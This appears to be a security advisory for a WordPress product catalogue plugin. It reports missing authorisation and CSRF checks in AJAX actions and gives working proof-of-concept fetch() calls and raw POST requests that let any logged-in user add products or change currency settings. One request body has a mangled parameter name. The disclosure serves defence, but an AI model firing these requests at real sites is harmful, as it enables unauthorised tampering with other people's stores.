The plugin does not have authorisation and CSRF checks in some AJAX actions, which could allow any authenticated users, such as subscriber to call them and add arbitrary products, or change the plugin’s settings for example
To add a product:
fetch("https://example.com/wp-admin/admin-ajax.php", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
},
"body": "action=ewd_upcp_welcome_add_product&product_name=Name&product_description=Description&product_price=100",
"method": "POST",
"credentials": "include"
});
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/x-www-form-urlencoded
Content-Length: 103
Connection: close
Cookie: [any authenticated user]
action=ewd_upcp_welcome_add_product&product_name=Name&product_description=Description&product_price=100
To change the currency settings:
fetch("https://example.com/wp-admin/admin-ajax.php", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
},
"body": "action=ewd_upcp_welcome_set_options¤cy_symbol=aaaaaaaa",
"method": "POST",
"credentials": "include"
});
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/x-www-form-urlencoded
Content-Length: 60
Connection: close
Cookie: [any authenticated user]
action=ewd_upcp_welcome_set_options¤cy_symbol=aaaaaaaa